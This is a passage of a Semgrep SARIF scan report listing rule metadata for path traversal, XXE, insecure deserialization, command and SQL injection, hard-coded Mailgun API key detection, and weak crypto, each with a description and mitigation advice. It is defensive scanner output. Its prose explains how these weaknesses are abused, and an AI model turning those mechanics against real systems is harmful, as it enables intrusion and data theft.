path."},"helpUri":"https://semgrep.dev/r/java.micronaut.path-traversal.file-access-taint.file-access-taint","id":"java.micronaut.path-traversal.file-access-taint.file-access-taint","name":"java.micronaut.path-traversal.file-access-taint.file-access-taint","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.path-traversal.file-access-taint.file-access-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.xml.tainted-django-xml-stdlib.tainted-django-xml-stdlib)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml."},"helpUri":"https://semgrep.dev/r/python.django.xml.tainted-django-xml-stdlib.tainted-django-xml-stdlib","id":"python.django.xml.tainted-django-xml-stdlib.tainted-django-xml-stdlib","name":"python.django.xml.tainted-django-xml-stdlib.tainted-django-xml-stdlib","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.xml.tainted-django-xml-stdlib.tainted-django-xml-stdlib"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an unsecured transmission channel. 'OpenerDirector.open(...)' is being used with 'http://'. Use 'https://' instead to secure the channel."},"help":{"markdown":"Detected an unsecured transmission channel. 'OpenerDirector.open(...)' is being used with 'http://'. Use 'https://' instead to secure the channel.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open.insecure-openerdirector-open)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.OpenerDirector.open](https://docs.python.org/3/library/urllib.request.html#urllib.request.OpenerDirector.open)\n","text":"Detected an unsecured transmission channel. 'OpenerDirector.open(...)' is being used with 'http://'. Use 'https://' instead to secure the channel."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open.insecure-openerdirector-open","id":"python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open.insecure-openerdirector-open","name":"python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open.insecure-openerdirector-open","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open.insecure-openerdirector-open"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://docs.python.org/3/library/shelve.html](https://docs.python.org/3/library/shelve.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda","id":"python.aws-lambda.deserialization.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda","name":"python.aws-lambda.deserialization.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Mailgun API Key detected"},"help":{"markdown":"Mailgun API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-mailgun-api-key.detected-mailgun-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Mailgun API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-mailgun-api-key.detected-mailgun-api-key","id":"generic.secrets.security.detected-mailgun-api-key.detected-mailgun-api-key","name":"generic.secrets.security.detected-mailgun-api-key.detected-mailgun-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-mailgun-api-key.detected-mailgun-api-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected subprocess function '$FUNC' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.escape()'."},"help":{"markdown":"Detected subprocess function '$FUNC' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.escape()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-subprocess-use.dangerous-subprocess-use)\n - [https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess](https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess)\n - [https://docs.python.org/3/library/subprocess.html](https://docs.python.org/3/library/subprocess.html)\n - [https://docs.python.org/3/library/shlex.html](https://docs.python.org/3/library/shlex.html)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Detected subprocess function '$FUNC' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.escape()'."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-subprocess-use.dangerous-subprocess-use","id":"python.lang.security.dangerous-subprocess-use.dangerous-subprocess-use","name":"python.lang.security.dangerous-subprocess-use.dangerous-subprocess-use","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-subprocess-use.dangerous-subprocess-use"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Make sure that unverified user data can not reach `$VM`."},"help":{"markdown":"Make sure that unverified user data can not reach `$VM`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-vm-injection.express-vm-injection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n","text":"Make sure that unverified user data can not reach `$VM`."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-vm-injection.express-vm-injection","id":"javascript.express.security.express-vm-injection.express-vm-injection","name":"javascript.express.security.express-vm-injection.express-vm-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-vm-injection.express-vm-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a path, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files can be accessed, such as configuration files or user data, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the `SecureJoin` function in `filepath-securejoin`."},"help":{"markdown":"Untrusted input might be used to build a path, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files can be accessed, such as configuration files or user data, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the `SecureJoin` function in `filepath-securejoin`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.path-traversal.net-http-path-traversal-taint-mux.net-http-path-traversal-taint-mux)\n - [https://pkg.go.dev/net/http#ServeMux.Handler](https://pkg.go.dev/net/http#ServeMux.Handler)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"Untrusted input might be used to build a path, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files can be accessed, such as configuration files or user data, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the `SecureJoin` function in `filepath-securejoin`."},"helpUri":"https://semgrep.dev/r/go.net.path-traversal.net-http-path-traversal-taint-mux.net-http-path-traversal-taint-mux","id":"go.net.path-traversal.net-http-path-traversal-taint-mux.net-http-path-traversal-taint-mux","name":"go.net.path-traversal.net-http-path-traversal-taint-mux.net-http-path-traversal-taint-mux","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.path-traversal.net-http-path-traversal-taint-mux.net-http-path-traversal-taint-mux"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe","id":"java.lang.security.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe","name":"java.lang.security.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.sqli.ktor-exposed-unsafe-exec-sqli.ktor-exposed-unsafe-exec-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.sqli.ktor-exposed-unsafe-exec-sqli.ktor-exposed-unsafe-exec-sqli","id":"kotlin.ktor.sqli.ktor-exposed-unsafe-exec-sqli.ktor-exposed-unsafe-exec-sqli","name":"kotlin.ktor.sqli.ktor-exposed-unsafe-exec-sqli.ktor-exposed-unsafe-exec-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.sqli.ktor-exposed-unsafe-exec-sqli.ktor-exposed-unsafe-exec-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. $PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. $PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.validator-xxe.validator-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. $PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.validator-xxe.validator-xxe","id":"kotlin.xxe.validator-xxe.validator-xxe","name":"kotlin.xxe.validator-xxe.validator-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.validator-xxe.validator-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using `sizeof(...)` on a pointer type is error prone and can lead to memory corruption if the incorrect size is used to allocate memory. An explicit length should be used instead of using `sizeof(...)`."},"help":{"markdown":"Using `sizeof(...)` on a pointer type is error prone and can lead to memory corruption if the incorrect size is used to allocate memory. An explicit length should be used instead of using `sizeof(...)`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.correctness.sizeof-pointer-type.sizeof-pointer-type)\n - [https://wiki.sei.cmu.edu/confluence/display/c/ARR01-C.+Do+not+apply+the+sizeof+operator+to+a+pointer+when+taking+the+size+of+an+array](https://wiki.sei.cmu.edu/confluence/display/c/ARR01-C.+Do+not+apply+the+sizeof+operator+to+a+pointer+when+taking+the+size+of+an+array)\n","text":"Using `sizeof(...)` on a pointer type is error prone and can lead to memory corruption if the incorrect size is used to allocate memory. An explicit length should be used instead of using `sizeof(...)`."},"helpUri":"https://semgrep.dev/r/cpp.lang.correctness.sizeof-pointer-type.sizeof-pointer-type","id":"cpp.lang.correctness.sizeof-pointer-type.sizeof-pointer-type","name":"cpp.lang.correctness.sizeof-pointer-type.sizeof-pointer-type","properties":{"precision":"very-high","tags":["CWE-467: Use of sizeof() on a Pointer Type","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.correctness.sizeof-pointer-type.sizeof-pointer-type"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$TY` is setup to use the CBC cipher mode. This mode is insecure because it is vulnerable to padding oracle attacks. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"help":{"markdown":"`$TY` is setup to use the CBC cipher mode. This mode is insecure because it is vulnerable to padding oracle attacks. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.cbc-mode.cbc-mode)\n - 